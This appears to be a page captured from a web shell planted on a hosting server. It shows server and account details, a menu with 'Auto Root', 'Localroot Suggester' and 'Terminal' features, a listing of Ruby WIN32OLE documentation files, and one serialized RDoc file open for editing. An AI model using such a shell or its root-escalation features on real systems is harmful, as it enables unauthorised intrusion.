Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby32 /
share /
ri /
system /
WIN32OLE /
Delete
Unzip
Name
Size
Permission
Date
Action
Event
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Method
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Param
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Record
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Type
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Typelib
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
VARIANT
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Variable
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Variant
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
%5b%5d%3d-i.ri
855
B
-rw-r--r--
2026-04-07 17:42
%5b%5d-i.ri
838
B
-rw-r--r--
2026-04-07 17:42
_getproperty-i.ri
766
B
-rw-r--r--
2026-04-07 17:42
_invoke-i.ri
718
B
-rw-r--r--
2026-04-07 17:42
_setproperty-i.ri
793
B
-rw-r--r--
2026-04-07 17:42
cdesc-WIN32OLE.ri
5.18
KB
-rw-r--r--
2026-04-07 17:42
codepage%3d-c.ri
702
B
-rw-r--r--
2026-04-07 17:42
codepage-c.ri
419
B
-rw-r--r--
2026-04-07 17:42
connect-c.ri
638
B
-rw-r--r--
2026-04-07 17:42
const_load-c.ri
1.4
KB
-rw-r--r--
2026-04-07 17:42
create_guid-c.ri
441
B
-rw-r--r--
2026-04-07 17:42
each-i.ri
664
B
-rw-r--r--
2026-04-07 17:42
invoke-i.ri
757
B
-rw-r--r--
2026-04-07 17:42
locale%3d-c.ri
537
B
-rw-r--r--
2026-04-07 17:42
locale-c.ri
507
B
-rw-r--r--
2026-04-07 17:42
method_missing-i.ri
382
B
-rw-r--r--
2026-04-07 17:42
methods-i.ri
601
B
-rw-r--r--
2026-04-07 17:42
new-c.ri
1.05
KB
-rw-r--r--
2026-04-07 17:42
ole_activex_initialize-i.ri
969
B
-rw-r--r--
2026-04-07 17:42
ole_free-c.ri
557
B
-rw-r--r--
2026-04-07 17:42
ole_free-i.ri
505
B
-rw-r--r--
2026-04-07 17:42
ole_func_methods-i.ri
609
B
-rw-r--r--
2026-04-07 17:42
ole_get_methods-i.ri
605
B
-rw-r--r--
2026-04-07 17:42
ole_method-i.ri
605
B
-rw-r--r--
2026-04-07 17:42
ole_method_help-i.ri
571
B
-rw-r--r--
2026-04-07 17:42
ole_methods-i.ri
563
B
-rw-r--r--
2026-04-07 17:42
ole_methods_safely-i.ri
270
B
-rw-r--r--
2026-04-07 17:42
ole_obj_help-i.ri
483
B
-rw-r--r--
2026-04-07 17:42
ole_put_methods-i.ri
605
B
-rw-r--r--
2026-04-07 17:42
ole_query_interface-i.ri
719
B
-rw-r--r--
2026-04-07 17:42
ole_reference_count-c.ri
533
B
-rw-r--r--
2026-04-07 17:42
ole_respond_to%3f-i.ri
591
B
-rw-r--r--
2026-04-07 17:42
ole_show_help-c.ri
652
B
-rw-r--r--
2026-04-07 17:42
ole_type-i.ri
503
B
-rw-r--r--
2026-04-07 17:42
ole_typelib-i.ri
677
B
-rw-r--r--
2026-04-07 17:42
setproperty-i.ri
745
B
-rw-r--r--
2026-04-07 17:42
Save
Rename
U:RDoc::NormalClass[iI" WIN32OLE:ET@I"Object;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[I" WIN32OLE;T: @fileI"!ext/win32ole/lib/win32ole.rb;T:0@omit_headings_from_table_of_contents_below0o;;[o; ;[I"K<code>WIN32OLE</code> objects represent OLE Automation object in Ruby.;To:RDoc::Markup::BlankLine o; ;[I"@By using WIN32OLE, you can access OLE server like VBScript.;T@o; ;[I"Here is sample script.;T@o:RDoc::Markup::Verbatim;[I"require 'win32ole' ;TI" ;TI"/excel = WIN32OLE.new('Excel.Application') ;TI"excel.visible = true ;TI"'workbook = excel.Workbooks.Add(); ;TI")worksheet = workbook.Worksheets(1); ;TI"Gworksheet.Range("A1:D1").value = ["North","South","East","West"]; ;TI"1worksheet.Range("A2:B2").value = [5.2, 10]; ;TI"&worksheet.Range("C2").value = 8; ;TI"'worksheet.Range("D2").value = 20; ;TI" ;TI"'range = worksheet.Range("A1:D2"); ;TI"range.select ;TI""chart = workbook.Charts.Add; ;TI" ;TI"workbook.saved = true; ;TI" ;TI"$excel.ActiveWorkbook.Close(0); ;TI"excel.Quit(); ;T:@format0o; ;[ I"DUnfortunately, Win32OLE doesn't support the argument passed by ;TI"reference directly. ;TI"KInstead, Win32OLE provides WIN32OLE::ARGV or WIN32OLE_VARIANT object. ;TI"JIf you want to get the result value of argument passed by reference, ;TI"4you can use WIN32OLE::ARGV or WIN32OLE_VARIANT.;T@o; ;[I")oleobj.method(arg1, arg2, refargv3) ;TI"Qputs WIN32OLE::ARGV[2] # the value of refargv3 after called oleobj.method ;T;0o; ;[I"or;T@o; ;[ I"*refargv3 = WIN32OLE_VARIANT.new(XXX, ;TI"H WIN32OLE::VARIANT::VT_BYREF|WIN32OLE::VARIANT::VT_XXX) ;TI")oleobj.method(arg1, arg2, refargv3) ;TI"Ip refargv3.value # the value of refargv3 after called oleobj.method.;T;0; I"ext/win32ole/win32ole.c;T;0; 0;0[ [U:RDoc::Constant[i I"VERSION;TI"WIN32OLE::VERSION;T:public0o;;[o; ;[I" Version string of WIN32OLE.;T; @F;0@F@cRDoc::NormalClass0U;[i I" ARGV;TI"WIN32OLE::ARGV;T;0o;;[o; ;[I"IAfter invoking OLE methods with reference arguments, you can access ;TI"*the value of arguments by using ARGV.;T@o; ;[I"EIf the method of OLE(COM) server written by C#.NET is following:;T@o; ;[I"-void calcsum(int a, int b, out int c) { ;TI" c = a + b; ;TI"} ;T;0o; ;[I"Dthen, the Ruby OLE(COM) client script to retrieve the value of ;TI";argument c after invoking calcsum method is following:;T@o; ;[I"a = 10 ;TI"b = 20 ;TI"c = 0 ;TI" comserver.calcsum(a, b, c) ;TI"p c # => 0 ;TI"(p WIN32OLE::ARGV # => [10, 20, 30] ;T;0o; ;[I"LYou can use WIN32OLE_VARIANT object to retrieve the value of reference ;TI"3arguments instead of referring WIN32OLE::ARGV.;T; @F;0@F@@R0U;[i I"CP_ACP;TI"WIN32OLE::CP_ACP;T;0o;;[o; ;[I"BANSI code page. See WIN32OLE.codepage and WIN32OLE.codepage=.;T; @F;0@F@@R0U;[i I" CP_OEMCP;TI"WIN32OLE::CP_OEMCP;T;0o;;[o; ;[I"AOEM code page. See WIN32OLE.codepage and WIN32OLE.codepage=.;T; @F;0@F@@R0U;[i I" CP_MACCP;TI"WIN32OLE::CP_MACCP;T;0o;;[o; ;[I"2;T; @F;0@F@@R0U;[i I"CP_THREAD_ACP;TI"WIN32OLE::CP_THREAD_ACP;T;0o;;[o; ;[I">current thread ANSI code page. See WIN32OLE.codepage and ;TI"WIN32OLE.codepage=.;T; @F;0@F@@R0U;[i I"CP_SYMBOL;TI"WIN32OLE::CP_SYMBOL;T;0o;;[o; ;[I"Dsymbol code page. See WIN32OLE.codepage and WIN32OLE.codepage=.;T; @F;0@F@@R0U;[i I"CP_UTF7;TI"WIN32OLE::CP_UTF7;T;0o;;[o; ;[I"CUTF-7 code page. See WIN32OLE.codepage and WIN32OLE.codepage=.;T; @F;0@F@@R0U;[i I"CP_UTF8;TI"WIN32OLE::CP_UTF8;T;0o;;[o; ;[I"CUTF-8 code page. See WIN32OLE.codepage and WIN32OLE.codepage=.;T; @F;0@F@@R0U;[i I"LOCALE_SYSTEM_DEFAULT;TI"$WIN32OLE::LOCALE_SYSTEM_DEFAULT;T;0o;;[o; ;[I"Bdefault locale for the operating system. See WIN32OLE.locale ;TI"and WIN32OLE.locale=.;T; @F;0@F@@R0U;[i I"LOCALE_USER_DEFAULT;TI""WIN32OLE::LOCALE_USER_DEFAULT;T;0o;;[o; ;[I"Adefault locale for the user or process. See WIN32OLE.locale ;TI"and WIN32OLE.locale=.;T; @F;0@F@@R0[ [[I" class;T[[;[ [:protected[ [:private[[I" codepage;TI"ext/win32ole/win32ole.c;T[I"codepage=;T@�[I"connect;T@�[I"const_load;T@�[I"create_guid;T@�[I"locale;T@�[I"locale=;T@�[I"new;T@�[I" ole_free;T@�[I"ole_reference_count;T@�[I"ole_show_help;T@�[I" instance;T[[;[ [;[ [;[[I"[];T@�[I"[]=;T@�[I"_getproperty;T@�[I"_invoke;T@�[I"_setproperty;T@�[I" each;T@�[I"invoke;T@�[I"method_missing;T@�[I"methods;TI"!ext/win32ole/lib/win32ole.rb;T[I"ole_activex_initialize;T@�[I" ole_free;T@�[I"ole_func_methods;T@�[I"ole_get_methods;T@�[I"ole_method;T@�[I"ole_method_help;T@�[I"ole_methods;T@�[I"ole_methods_safely;T@[I"ole_obj_help;T@�[I"ole_put_methods;T@�[I"ole_query_interface;T@�[I"ole_respond_to?;T@�[I" ole_type;T@�[I"ole_typelib;T@�[I"setproperty;T@�[ [U:RDoc::Context::Section[i 0o;;[ ; 0;0[I"!ext/win32ole/lib/win32ole.rb;TI"ext/win32ole/win32ole.c;T@FcRDoc::TopLevel